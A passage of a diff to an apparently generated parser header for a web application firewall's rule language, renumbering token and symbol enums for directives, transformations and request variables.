TOK_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE = 470, // "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" + TOK_ACTION_TRANSFORMATION_JS_DECODE = 471, // "ACTION_TRANSFORMATION_JS_DECODE" + TOK_ACTION_TRANSFORMATION_LENGTH = 472, // "ACTION_TRANSFORMATION_LENGTH" + TOK_ACTION_TRANSFORMATION_LOWERCASE = 473, // "ACTION_TRANSFORMATION_LOWERCASE" + TOK_ACTION_TRANSFORMATION_MD5 = 474, // "ACTION_TRANSFORMATION_MD5" + TOK_ACTION_TRANSFORMATION_NONE = 475, // "ACTION_TRANSFORMATION_NONE" + TOK_ACTION_TRANSFORMATION_NORMALISE_PATH = 476, // "ACTION_TRANSFORMATION_NORMALISE_PATH" + TOK_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN = 477, // "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" + TOK_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT = 478, // "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" + TOK_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT = 479, // "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" + TOK_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT = 480, // "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" + TOK_ACTION_TRANSFORMATION_REMOVE_COMMENTS = 481, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS" + TOK_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR = 482, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" + TOK_ACTION_TRANSFORMATION_REMOVE_NULLS = 483, // "ACTION_TRANSFORMATION_REMOVE_NULLS" + TOK_ACTION_TRANSFORMATION_REMOVE_WHITESPACE = 484, // "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" + TOK_ACTION_TRANSFORMATION_REPLACE_COMMENTS = 485, // "ACTION_TRANSFORMATION_REPLACE_COMMENTS" + TOK_ACTION_TRANSFORMATION_REPLACE_NULLS = 486, // "ACTION_TRANSFORMATION_REPLACE_NULLS" + TOK_ACTION_TRANSFORMATION_SHA1 = 487, // "ACTION_TRANSFORMATION_SHA1" + TOK_ACTION_TRANSFORMATION_SQL_HEX_DECODE = 488, // "ACTION_TRANSFORMATION_SQL_HEX_DECODE" + TOK_ACTION_TRANSFORMATION_TRIM = 489, // "ACTION_TRANSFORMATION_TRIM" + TOK_ACTION_TRANSFORMATION_TRIM_LEFT = 490, // "ACTION_TRANSFORMATION_TRIM_LEFT" + TOK_ACTION_TRANSFORMATION_TRIM_RIGHT = 491, // "ACTION_TRANSFORMATION_TRIM_RIGHT" + TOK_ACTION_TRANSFORMATION_UPPERCASE = 492, // "ACTION_TRANSFORMATION_UPPERCASE" + TOK_ACTION_TRANSFORMATION_URL_ENCODE = 493, // "ACTION_TRANSFORMATION_URL_ENCODE" + TOK_ACTION_TRANSFORMATION_URL_DECODE = 494, // "ACTION_TRANSFORMATION_URL_DECODE" + TOK_ACTION_TRANSFORMATION_URL_DECODE_UNI = 495, // "ACTION_TRANSFORMATION_URL_DECODE_UNI" + TOK_ACTION_TRANSFORMATION_UTF8_TO_UNICODE = 496, // "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" + TOK_ACTION_VER = 497, // "Ver" + TOK_ACTION_XMLNS = 498, // "xmlns" + TOK_CONFIG_COMPONENT_SIG = 499, // "CONFIG_COMPONENT_SIG" + TOK_CONFIG_CONN_ENGINE = 500, // "CONFIG_CONN_ENGINE" + TOK_CONFIG_SEC_ARGUMENT_SEPARATOR = 501, // "CONFIG_SEC_ARGUMENT_SEPARATOR" + TOK_CONFIG_SEC_WEB_APP_ID = 502, // "CONFIG_SEC_WEB_APP_ID" + TOK_CONFIG_SEC_SERVER_SIG = 503, // "CONFIG_SEC_SERVER_SIG" + TOK_CONFIG_DIR_AUDIT_DIR = 504, // "CONFIG_DIR_AUDIT_DIR" + TOK_CONFIG_DIR_AUDIT_DIR_MOD = 505, // "CONFIG_DIR_AUDIT_DIR_MOD" + TOK_CONFIG_DIR_AUDIT_ENG = 506, // "CONFIG_DIR_AUDIT_ENG" + TOK_CONFIG_DIR_AUDIT_FLE_MOD = 507, // "CONFIG_DIR_AUDIT_FLE_MOD" + TOK_CONFIG_DIR_AUDIT_LOG = 508, // "CONFIG_DIR_AUDIT_LOG" + TOK_CONFIG_DIR_AUDIT_LOG2 = 509, // "CONFIG_DIR_AUDIT_LOG2" + TOK_CONFIG_DIR_AUDIT_LOG_P = 510, // "CONFIG_DIR_AUDIT_LOG_P" + TOK_CONFIG_DIR_AUDIT_STS = 511, // "CONFIG_DIR_AUDIT_STS" + TOK_CONFIG_DIR_AUDIT_PREFIX = 512, // "CONFIG_DIR_AUDIT_PREFIX" + TOK_CONFIG_DIR_AUDIT_TPE = 513, // "CONFIG_DIR_AUDIT_TPE" + TOK_CONFIG_DIR_DEBUG_LOG = 514, // "CONFIG_DIR_DEBUG_LOG" + TOK_CONFIG_DIR_DEBUG_LVL = 515, // "CONFIG_DIR_DEBUG_LVL" + TOK_CONFIG_SEC_CACHE_TRANSFORMATIONS = 516, // "CONFIG_SEC_CACHE_TRANSFORMATIONS" + TOK_CONFIG_SEC_DISABLE_BACKEND_COMPRESS = 517, // "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" + TOK_CONFIG_SEC_HASH_ENGINE = 518, // "CONFIG_SEC_HASH_ENGINE" + TOK_CONFIG_SEC_HASH_KEY = 519, // "CONFIG_SEC_HASH_KEY" + TOK_CONFIG_SEC_HASH_PARAM = 520, // "CONFIG_SEC_HASH_PARAM" + TOK_CONFIG_SEC_HASH_METHOD_RX = 521, // "CONFIG_SEC_HASH_METHOD_RX" + TOK_CONFIG_SEC_HASH_METHOD_PM = 522, // "CONFIG_SEC_HASH_METHOD_PM" + TOK_CONFIG_SEC_CHROOT_DIR = 523, // "CONFIG_SEC_CHROOT_DIR" + TOK_CONFIG_DIR_GEO_DB = 524, // "CONFIG_DIR_GEO_DB" + TOK_CONFIG_DIR_GSB_DB = 525, // "CONFIG_DIR_GSB_DB" + TOK_CONFIG_SEC_GUARDIAN_LOG = 526, // "CONFIG_SEC_GUARDIAN_LOG" + TOK_CONFIG_DIR_PCRE_MATCH_LIMIT = 527, // "CONFIG_DIR_PCRE_MATCH_LIMIT" + TOK_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION = 528, // "CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION" + TOK_CONFIG_SEC_CONN_R_STATE_LIMIT = 529, // "CONFIG_SEC_CONN_R_STATE_LIMIT" + TOK_CONFIG_SEC_CONN_W_STATE_LIMIT = 530, // "CONFIG_SEC_CONN_W_STATE_LIMIT" + TOK_CONFIG_SEC_SENSOR_ID = 531, // "CONFIG_SEC_SENSOR_ID" + TOK_CONFIG_DIR_ARGS_LIMIT = 532, // "CONFIG_DIR_ARGS_LIMIT" + TOK_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT = 533, // "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" + TOK_CONFIG_DIR_REQ_BODY = 534, // "CONFIG_DIR_REQ_BODY" + TOK_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT = 535, // "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" + TOK_CONFIG_DIR_REQ_BODY_LIMIT = 536, // "CONFIG_DIR_REQ_BODY_LIMIT" + TOK_CONFIG_DIR_REQ_BODY_LIMIT_ACTION = 537, // "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" + TOK_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT = 538, // "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" + TOK_CONFIG_DIR_RES_BODY = 539, // "CONFIG_DIR_RES_BODY" + TOK_CONFIG_DIR_RES_BODY_LIMIT = 540, // "CONFIG_DIR_RES_BODY_LIMIT" + TOK_CONFIG_DIR_RES_BODY_LIMIT_ACTION = 541, // "CONFIG_DIR_RES_BODY_LIMIT_ACTION" + TOK_CONFIG_SEC_RULE_INHERITANCE = 542, // "CONFIG_SEC_RULE_INHERITANCE" + TOK_CONFIG_SEC_RULE_PERF_TIME = 543, // "CONFIG_SEC_RULE_PERF_TIME" + TOK_CONFIG_DIR_RULE_ENG = 544, // "CONFIG_DIR_RULE_ENG" + TOK_CONFIG_DIR_SEC_ACTION = 545, // "CONFIG_DIR_SEC_ACTION" + TOK_CONFIG_DIR_SEC_DEFAULT_ACTION = 546, // "CONFIG_DIR_SEC_DEFAULT_ACTION" + TOK_CONFIG_DIR_SEC_MARKER = 547, // "CONFIG_DIR_SEC_MARKER" + TOK_CONFIG_DIR_UNICODE_MAP_FILE = 548, // "CONFIG_DIR_UNICODE_MAP_FILE" + TOK_CONFIG_DIR_UNICODE_CODE_PAGE = 549, // "CONFIG_DIR_UNICODE_CODE_PAGE" + TOK_CONFIG_SEC_COLLECTION_TIMEOUT = 550, // "CONFIG_SEC_COLLECTION_TIMEOUT" + TOK_CONFIG_SEC_HTTP_BLKEY = 551, // "CONFIG_SEC_HTTP_BLKEY" + TOK_CONFIG_SEC_INTERCEPT_ON_ERROR = 552, // "CONFIG_SEC_INTERCEPT_ON_ERROR" + TOK_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION = 553, // "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" + TOK_CONFIG_SEC_RULE_REMOVE_BY_ID = 554, // "CONFIG_SEC_RULE_REMOVE_BY_ID" + TOK_CONFIG_SEC_RULE_REMOVE_BY_MSG = 555, // "CONFIG_SEC_RULE_REMOVE_BY_MSG" + TOK_CONFIG_SEC_RULE_REMOVE_BY_TAG = 556, // "CONFIG_SEC_RULE_REMOVE_BY_TAG" + TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG = 557, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" + TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG = 558, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" + TOK_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID = 559, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" + TOK_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID = 560, // "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" + TOK_CONFIG_UPDLOAD_KEEP_FILES = 561, // "CONFIG_UPDLOAD_KEEP_FILES" + TOK_CONFIG_UPDLOAD_SAVE_TMP_FILES = 562, // "CONFIG_UPDLOAD_SAVE_TMP_FILES" + TOK_CONFIG_UPLOAD_DIR = 563, // "CONFIG_UPLOAD_DIR" + TOK_CONFIG_UPLOAD_FILE_LIMIT = 564, // "CONFIG_UPLOAD_FILE_LIMIT" + TOK_CONFIG_UPLOAD_FILE_MODE = 565, // "CONFIG_UPLOAD_FILE_MODE" + TOK_CONFIG_VALUE_ABORT = 566, // "CONFIG_VALUE_ABORT" + TOK_CONFIG_VALUE_DETC = 567, // "CONFIG_VALUE_DETC" + TOK_CONFIG_VALUE_HTTPS = 568, // "CONFIG_VALUE_HTTPS" + TOK_CONFIG_VALUE_ONLYARGS = 569, // "CONFIG_VALUE_ONLYARGS" + TOK_CONFIG_VALUE_OFF = 570, // "CONFIG_VALUE_OFF" + TOK_CONFIG_VALUE_ON = 571, // "CONFIG_VALUE_ON" + TOK_CONFIG_VALUE_PARALLEL = 572, // "CONFIG_VALUE_PARALLEL" + TOK_CONFIG_VALUE_PROCESS_PARTIAL = 573, // "CONFIG_VALUE_PROCESS_PARTIAL" + TOK_CONFIG_VALUE_REJECT = 574, // "CONFIG_VALUE_REJECT" + TOK_CONFIG_VALUE_RELEVANT_ONLY = 575, // "CONFIG_VALUE_RELEVANT_ONLY" + TOK_CONFIG_VALUE_SERIAL = 576, // "CONFIG_VALUE_SERIAL" + TOK_CONFIG_VALUE_WARN = 577, // "CONFIG_VALUE_WARN" + TOK_CONFIG_XML_EXTERNAL_ENTITY = 578, // "CONFIG_XML_EXTERNAL_ENTITY" + TOK_CONFIG_XML_PARSE_XML_INTO_ARGS = 579, // "CONFIG_XML_PARSE_XML_INTO_ARGS" + TOK_CONGIG_DIR_RESPONSE_BODY_MP = 580, // "CONGIG_DIR_RESPONSE_BODY_MP" + TOK_CONGIG_DIR_SEC_ARG_SEP = 581, // "CONGIG_DIR_SEC_ARG_SEP" + TOK_CONGIG_DIR_SEC_COOKIE_FORMAT = 582, // "CONGIG_DIR_SEC_COOKIE_FORMAT" + TOK_CONFIG_SEC_COOKIEV0_SEPARATOR = 583, // "CONFIG_SEC_COOKIEV0_SEPARATOR" + TOK_CONGIG_DIR_SEC_DATA_DIR = 584, // "CONGIG_DIR_SEC_DATA_DIR" + TOK_CONGIG_DIR_SEC_STATUS_ENGINE = 585, // "CONGIG_DIR_SEC_STATUS_ENGINE" + TOK_CONFIG_SEC_STREAM_IN_BODY_INSPECTION = 586, // "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" + TOK_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION = 587, // "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" + TOK_CONGIG_DIR_SEC_TMP_DIR = 588, // "CONGIG_DIR_SEC_TMP_DIR" + TOK_DIRECTIVE = 589, // "DIRECTIVE" + TOK_DIRECTIVE_SECRULESCRIPT = 590, // "DIRECTIVE_SECRULESCRIPT" + TOK_FREE_TEXT_QUOTE_MACRO_EXPANSION = 591, // "FREE_TEXT_QUOTE_MACRO_EXPANSION" + TOK_QUOTATION_MARK = 592, // "QUOTATION_MARK" + TOK_RUN_TIME_VAR_BLD = 593, // "RUN_TIME_VAR_BLD" + TOK_RUN_TIME_VAR_DUR = 594, // "RUN_TIME_VAR_DUR" + TOK_RUN_TIME_VAR_HSV = 595, // "RUN_TIME_VAR_HSV" + TOK_RUN_TIME_VAR_REMOTE_USER = 596, // "RUN_TIME_VAR_REMOTE_USER" + TOK_RUN_TIME_VAR_TIME = 597, // "RUN_TIME_VAR_TIME" + TOK_RUN_TIME_VAR_TIME_DAY = 598, // "RUN_TIME_VAR_TIME_DAY" + TOK_RUN_TIME_VAR_TIME_EPOCH = 599, // "RUN_TIME_VAR_TIME_EPOCH" + TOK_RUN_TIME_VAR_TIME_HOUR = 600, // "RUN_TIME_VAR_TIME_HOUR" + TOK_RUN_TIME_VAR_TIME_MIN = 601, // "RUN_TIME_VAR_TIME_MIN" + TOK_RUN_TIME_VAR_TIME_MON = 602, // "RUN_TIME_VAR_TIME_MON" + TOK_RUN_TIME_VAR_TIME_SEC = 603, // "RUN_TIME_VAR_TIME_SEC" + TOK_RUN_TIME_VAR_TIME_WDAY = 604, // "RUN_TIME_VAR_TIME_WDAY" + TOK_RUN_TIME_VAR_TIME_YEAR = 605, // "RUN_TIME_VAR_TIME_YEAR" + TOK_VARIABLE = 606, // "VARIABLE" + TOK_DICT_ELEMENT = 607, // "Dictionary element" + TOK_DICT_ELEMENT_WITH_EQUALS = 608, // "Dictionary element, with equals" + TOK_DICT_ELEMENT_REGEXP = 609 // "Dictionary element, selected by regexp" }; /// Backward compatibility alias (Bison 3.6). typedef token_kind_type yytokentype; @@ -1349,7 +1365,7 @@ namespace yy { { enum symbol_kind_type { - YYNTOKENS = 348, ///< Number of tokens. + YYNTOKENS = 355, ///< Number of tokens. S_YYEMPTY = -2, S_YYEOF = 0, // "end of file" S_YYerror = 1, // error @@ -1368,353 +1384,360 @@ namespace yy { S_VARIABLE_FILES_NAMES = 14, // VARIABLE_FILES_NAMES S_VARIABLE_FILES_TMP_CONTENT = 15, // VARIABLE_FILES_TMP_CONTENT S_VARIABLE_MULTIPART_FILENAME = 16, // VARIABLE_MULTIPART_FILENAME - S_VARIABLE_MULTIPART_NAME = 17, // VARIABLE_MULTIPART_NAME - S_VARIABLE_MATCHED_VARS_NAMES = 18, // VARIABLE_MATCHED_VARS_NAMES - S_VARIABLE_MATCHED_VARS = 19, // VARIABLE_MATCHED_VARS - S_VARIABLE_FILES = 20, // VARIABLE_FILES - S_VARIABLE_REQUEST_COOKIES = 21, // VARIABLE_REQUEST_COOKIES - S_VARIABLE_REQUEST_HEADERS = 22, // VARIABLE_REQUEST_HEADERS - S_VARIABLE_RESPONSE_HEADERS = 23, // VARIABLE_RESPONSE_HEADERS - S_VARIABLE_GEO = 24, // VARIABLE_GEO - S_VARIABLE_REQUEST_COOKIES_NAMES = 25, // VARIABLE_REQUEST_COOKIES_NAMES - S_VARIABLE_MULTIPART_PART_HEADERS = 26, // VARIABLE_MULTIPART_PART_HEADERS - S_VARIABLE_ARGS_COMBINED_SIZE = 27, // VARIABLE_ARGS_COMBINED_SIZE - S_VARIABLE_ARGS_GET_NAMES = 28, // VARIABLE_ARGS_GET_NAMES - S_VARIABLE_RULE = 29, // VARIABLE_RULE - S_VARIABLE_ARGS_NAMES = 30, // "Variable ARGS_NAMES" - S_VARIABLE_ARGS_POST_NAMES = 31, // VARIABLE_ARGS_POST_NAMES - S_VARIABLE_AUTH_TYPE = 32, // "AUTH_TYPE" - S_VARIABLE_FILES_COMBINED_SIZE = 33, // "FILES_COMBINED_SIZE" - S_VARIABLE_FILES_TMP_NAMES = 34, // "FILES_TMPNAMES" - S_VARIABLE_FULL_REQUEST = 35, // "FULL_REQUEST" - S_VARIABLE_FULL_REQUEST_LENGTH = 36, // "FULL_REQUEST_LENGTH" - S_VARIABLE_INBOUND_DATA_ERROR = 37, // "INBOUND_DATA_ERROR" - S_VARIABLE_MATCHED_VAR = 38, // "MATCHED_VAR" - S_VARIABLE_MATCHED_VAR_NAME = 39, // "MATCHED_VAR_NAME" - S_VARIABLE_MSC_PCRE_ERROR = 40, // "MSC_PCRE_ERROR" - S_VARIABLE_MSC_PCRE_LIMITS_EXCEEDED = 41, // "MSC_PCRE_LIMITS_EXCEEDED" - S_VARIABLE_MULTIPART_BOUNDARY_QUOTED = 42, // VARIABLE_MULTIPART_BOUNDARY_QUOTED - S_VARIABLE_MULTIPART_BOUNDARY_WHITESPACE = 43, // VARIABLE_MULTIPART_BOUNDARY_WHITESPACE - S_VARIABLE_MULTIPART_CRLF_LF_LINES = 44, // "MULTIPART_CRLF_LF_LINES" - S_VARIABLE_MULTIPART_DATA_AFTER = 45, // "MULTIPART_DATA_AFTER" - S_VARIABLE_MULTIPART_DATA_BEFORE = 46, // VARIABLE_MULTIPART_DATA_BEFORE - S_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED = 47, // "MULTIPART_FILE_LIMIT_EXCEEDED" - S_VARIABLE_MULTIPART_HEADER_FOLDING = 48, // "MULTIPART_HEADER_FOLDING" - S_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING = 49, // "MULTIPART_INVALID_HEADER_FOLDING" - S_VARIABLE_MULTIPART_INVALID_PART = 50, // VARIABLE_MULTIPART_INVALID_PART - S_VARIABLE_MULTIPART_INVALID_QUOTING = 51, // "MULTIPART_INVALID_QUOTING" - S_VARIABLE_MULTIPART_LF_LINE = 52, // VARIABLE_MULTIPART_LF_LINE - S_VARIABLE_MULTIPART_MISSING_SEMICOLON = 53, // VARIABLE_MULTIPART_MISSING_SEMICOLON - S_VARIABLE_MULTIPART_SEMICOLON_MISSING = 54, // VARIABLE_MULTIPART_SEMICOLON_MISSING - S_VARIABLE_MULTIPART_STRICT_ERROR = 55, // "MULTIPART_STRICT_ERROR" - S_VARIABLE_MULTIPART_UNMATCHED_BOUNDARY = 56, // "MULTIPART_UNMATCHED_BOUNDARY" - S_VARIABLE_OUTBOUND_DATA_ERROR = 57, // "OUTBOUND_DATA_ERROR" - S_VARIABLE_PATH_INFO = 58, // "PATH_INFO" - S_VARIABLE_QUERY_STRING = 59, // "QUERY_STRING" - S_VARIABLE_REMOTE_ADDR = 60, // "REMOTE_ADDR" - S_VARIABLE_REMOTE_HOST = 61, // "REMOTE_HOST" - S_VARIABLE_REMOTE_PORT = 62, // "REMOTE_PORT" - S_VARIABLE_REQBODY_ERROR_MSG = 63, // "REQBODY_ERROR_MSG" - S_VARIABLE_REQBODY_ERROR = 64, // "REQBODY_ERROR" - S_VARIABLE_REQBODY_PROCESSOR_ERROR_MSG = 65, // "REQBODY_PROCESSOR_ERROR_MSG" - S_VARIABLE_REQBODY_PROCESSOR_ERROR = 66, // "REQBODY_PROCESSOR_ERROR" - S_VARIABLE_REQBODY_PROCESSOR = 67, // "REQBODY_PROCESSOR" - S_VARIABLE_REQUEST_BASENAME = 68, // "REQUEST_BASENAME" - S_VARIABLE_REQUEST_BODY_LENGTH = 69, // "REQUEST_BODY_LENGTH" - S_VARIABLE_REQUEST_BODY = 70, // "REQUEST_BODY" - S_VARIABLE_REQUEST_FILE_NAME = 71, // "REQUEST_FILENAME" - S_VARIABLE_REQUEST_HEADERS_NAMES = 72, // VARIABLE_REQUEST_HEADERS_NAMES - S_VARIABLE_REQUEST_LINE = 73, // "REQUEST_LINE" - S_VARIABLE_REQUEST_METHOD = 74, // "REQUEST_METHOD" - S_VARIABLE_REQUEST_PROTOCOL = 75, // "REQUEST_PROTOCOL" - S_VARIABLE_REQUEST_URI_RAW = 76, // "REQUEST_URI_RAW" - S_VARIABLE_REQUEST_URI = 77, // "REQUEST_URI" - S_VARIABLE_RESOURCE = 78, // "RESOURCE" - S_VARIABLE_RESPONSE_BODY = 79, // "RESPONSE_BODY" - S_VARIABLE_RESPONSE_CONTENT_LENGTH = 80, // "RESPONSE_CONTENT_LENGTH" - S_VARIABLE_RESPONSE_CONTENT_TYPE = 81, // VARIABLE_RESPONSE_CONTENT_TYPE - S_VARIABLE_RESPONSE_HEADERS_NAMES = 82, // VARIABLE_RESPONSE_HEADERS_NAMES - S_VARIABLE_RESPONSE_PROTOCOL = 83, // "RESPONSE_PROTOCOL" - S_VARIABLE_RESPONSE_STATUS = 84, // "RESPONSE_STATUS" - S_VARIABLE_SERVER_ADDR = 85, // "SERVER_ADDR" - S_VARIABLE_SERVER_NAME = 86, // "SERVER_NAME" - S_VARIABLE_SERVER_PORT = 87, // "SERVER_PORT" - S_VARIABLE_SESSION_ID = 88, // "SESSIONID" - S_VARIABLE_UNIQUE_ID = 89, // "UNIQUE_ID" - S_VARIABLE_URL_ENCODED_ERROR = 90, // "URLENCODED_ERROR" - S_VARIABLE_USER_ID = 91, // "USERID" - S_VARIABLE_WEB_APP_ID = 92, // "WEBAPPID" - S_VARIABLE_STATUS = 93, // "VARIABLE_STATUS" - S_VARIABLE_STATUS_LINE = 94, // "VARIABLE_STATUS_LINE" - S_VARIABLE_IP = 95, // "VARIABLE_IP" - S_VARIABLE_GLOBAL = 96, // "VARIABLE_GLOBAL" - S_VARIABLE_TX = 97, // "VARIABLE_TX" - S_VARIABLE_SESSION = 98, // "VARIABLE_SESSION" - S_VARIABLE_USER = 99, // "VARIABLE_USER" - S_RUN_TIME_VAR_ENV = 100, // "RUN_TIME_VAR_ENV" - S_RUN_TIME_VAR_XML = 101, // "RUN_TIME_VAR_XML" - S_ACTION_SETVAR = 102, // "SetVar" - S_SETVAR_OPERATION_EQUALS = 103, // SETVAR_OPERATION_EQUALS - S_SETVAR_OPERATION_EQUALS_PLUS = 104, // SETVAR_OPERATION_EQUALS_PLUS - S_SETVAR_OPERATION_EQUALS_MINUS = 105, // SETVAR_OPERATION_EQUALS_MINUS - S_NOT = 106, // "NOT" - S_OPERATOR_BEGINS_WITH = 107, // "OPERATOR_BEGINS_WITH" - S_OPERATOR_CONTAINS = 108, // "OPERATOR_CONTAINS" - S_OPERATOR_CONTAINS_WORD = 109, // "OPERATOR_CONTAINS_WORD" - S_OPERATOR_DETECT_SQLI = 110, // "OPERATOR_DETECT_SQLI" - S_OPERATOR_DETECT_XSS = 111, // "OPERATOR_DETECT_XSS" - S_OPERATOR_ENDS_WITH = 112, // "OPERATOR_ENDS_WITH" - S_OPERATOR_EQ = 113, // "OPERATOR_EQ" - S_OPERATOR_FUZZY_HASH = 114, // "OPERATOR_FUZZY_HASH" - S_OPERATOR_GEOLOOKUP = 115, // "OPERATOR_GEOLOOKUP" - S_OPERATOR_GE = 116, // "OPERATOR_GE" - S_OPERATOR_GSB_LOOKUP = 117, // "OPERATOR_GSB_LOOKUP" - S_OPERATOR_GT = 118, // "OPERATOR_GT" - S_OPERATOR_INSPECT_FILE = 119, // "OPERATOR_INSPECT_FILE" - S_OPERATOR_IP_MATCH_FROM_FILE = 120, // "OPERATOR_IP_MATCH_FROM_FILE" - S_OPERATOR_IP_MATCH = 121, // "OPERATOR_IP_MATCH" - S_OPERATOR_LE = 122, // "OPERATOR_LE" - S_OPERATOR_LT = 123, // "OPERATOR_LT" - S_OPERATOR_PM_FROM_FILE = 124, // "OPERATOR_PM_FROM_FILE" - S_OPERATOR_PM = 125, // "OPERATOR_PM" - S_OPERATOR_RBL = 126, // "OPERATOR_RBL" - S_OPERATOR_RSUB = 127, // "OPERATOR_RSUB" - S_OPERATOR_RX_CONTENT_ONLY = 128, // "Operator RX (content only)" - S_OPERATOR_RX = 129, // "OPERATOR_RX" - S_OPERATOR_RX_GLOBAL = 130, // "OPERATOR_RX_GLOBAL" - S_OPERATOR_STR_EQ = 131, // "OPERATOR_STR_EQ" - S_OPERATOR_STR_MATCH = 132, // "OPERATOR_STR_MATCH" - S_OPERATOR_UNCONDITIONAL_MATCH = 133, // "OPERATOR_UNCONDITIONAL_MATCH" - S_OPERATOR_VALIDATE_BYTE_RANGE = 134, // "OPERATOR_VALIDATE_BYTE_RANGE" - S_OPERATOR_VALIDATE_DTD = 135, // "OPERATOR_VALIDATE_DTD" - S_OPERATOR_VALIDATE_HASH = 136, // "OPERATOR_VALIDATE_HASH" - S_OPERATOR_VALIDATE_SCHEMA = 137, // "OPERATOR_VALIDATE_SCHEMA" - S_OPERATOR_VALIDATE_URL_ENCODING = 138, // "OPERATOR_VALIDATE_URL_ENCODING" - S_OPERATOR_VALIDATE_UTF8_ENCODING = 139, // "OPERATOR_VALIDATE_UTF8_ENCODING" - S_OPERATOR_VERIFY_CC = 140, // "OPERATOR_VERIFY_CC" - S_OPERATOR_VERIFY_CPF = 141, // "OPERATOR_VERIFY_CPF" - S_OPERATOR_VERIFY_SSN = 142, // "OPERATOR_VERIFY_SSN" - S_OPERATOR_VERIFY_SVNR = 143, // "OPERATOR_VERIFY_SVNR" - S_OPERATOR_WITHIN = 144, // "OPERATOR_WITHIN" - S_CONFIG_DIR_AUDIT_LOG_FMT = 145, // CONFIG_DIR_AUDIT_LOG_FMT - S_JSON = 146, // JSON - S_NATIVE = 147, // NATIVE - S_ACTION_CTL_RULE_ENGINE = 148, // "ACTION_CTL_RULE_ENGINE" - S_ACTION_ACCURACY = 149, // "Accuracy" - S_ACTION_ALLOW = 150, // "Allow" - S_ACTION_APPEND = 151, // "Append" - S_ACTION_AUDIT_LOG = 152, // "AuditLog" - S_ACTION_BLOCK = 153, // "Block" - S_ACTION_CAPTURE = 154, // "Capture" - S_ACTION_CHAIN = 155, // "Chain" - S_ACTION_CTL_AUDIT_ENGINE = 156, // "ACTION_CTL_AUDIT_ENGINE" - S_ACTION_CTL_AUDIT_LOG_PARTS = 157, // "ACTION_CTL_AUDIT_LOG_PARTS" - S_ACTION_CTL_BDY_JSON = 158, // "ACTION_CTL_BDY_JSON" - S_ACTION_CTL_BDY_XML = 159, // "ACTION_CTL_BDY_XML" - S_ACTION_CTL_BDY_URLENCODED = 160, // "ACTION_CTL_BDY_URLENCODED" - S_ACTION_CTL_FORCE_REQ_BODY_VAR = 161, // "ACTION_CTL_FORCE_REQ_BODY_VAR" - S_ACTION_CTL_REQUEST_BODY_ACCESS = 162, // "ACTION_CTL_REQUEST_BODY_ACCESS" - S_ACTION_CTL_RULE_REMOVE_BY_ID = 163, // "ACTION_CTL_RULE_REMOVE_BY_ID" - S_ACTION_CTL_RULE_REMOVE_BY_TAG = 164, // "ACTION_CTL_RULE_REMOVE_BY_TAG" - S_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID = 165, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" - S_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG = 166, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" - S_ACTION_DENY = 167, // "Deny" - S_ACTION_DEPRECATE_VAR = 168, // "DeprecateVar" - S_ACTION_DROP = 169, // "Drop" - S_ACTION_EXEC = 170, // "Exec" - S_ACTION_EXPIRE_VAR = 171, // "ExpireVar" - S_ACTION_ID = 172, // "Id" - S_ACTION_INITCOL = 173, // "InitCol" - S_ACTION_LOG = 174, // "Log" - S_ACTION_LOG_DATA = 175, // "LogData" - S_ACTION_MATURITY = 176, // "Maturity" - S_ACTION_MSG = 177, // "Msg" - S_ACTION_MULTI_MATCH = 178, // "MultiMatch" - S_ACTION_NO_AUDIT_LOG = 179, // "NoAuditLog" - S_ACTION_NO_LOG = 180, // "NoLog" - S_ACTION_PASS = 181, // "Pass" - S_ACTION_PAUSE = 182, // "Pause" - S_ACTION_PHASE = 183, // "Phase" - S_ACTION_PREPEND = 184, // "Prepend" - S_ACTION_PROXY = 185, // "Proxy" - S_ACTION_REDIRECT = 186, // "Redirect" - S_ACTION_REV = 187, // "Rev" - S_ACTION_SANITISE_ARG = 188, // "SanitiseArg" - S_ACTION_SANITISE_MATCHED = 189, // "SanitiseMatched" - S_ACTION_SANITISE_MATCHED_BYTES = 190, // "SanitiseMatchedBytes" - S_ACTION_SANITISE_REQUEST_HEADER = 191, // "SanitiseRequestHeader" - S_ACTION_SANITISE_RESPONSE_HEADER = 192, // "SanitiseResponseHeader" - S_ACTION_SETENV = 193, // "SetEnv" - S_ACTION_SETRSC = 194, // "SetRsc" - S_ACTION_SETSID 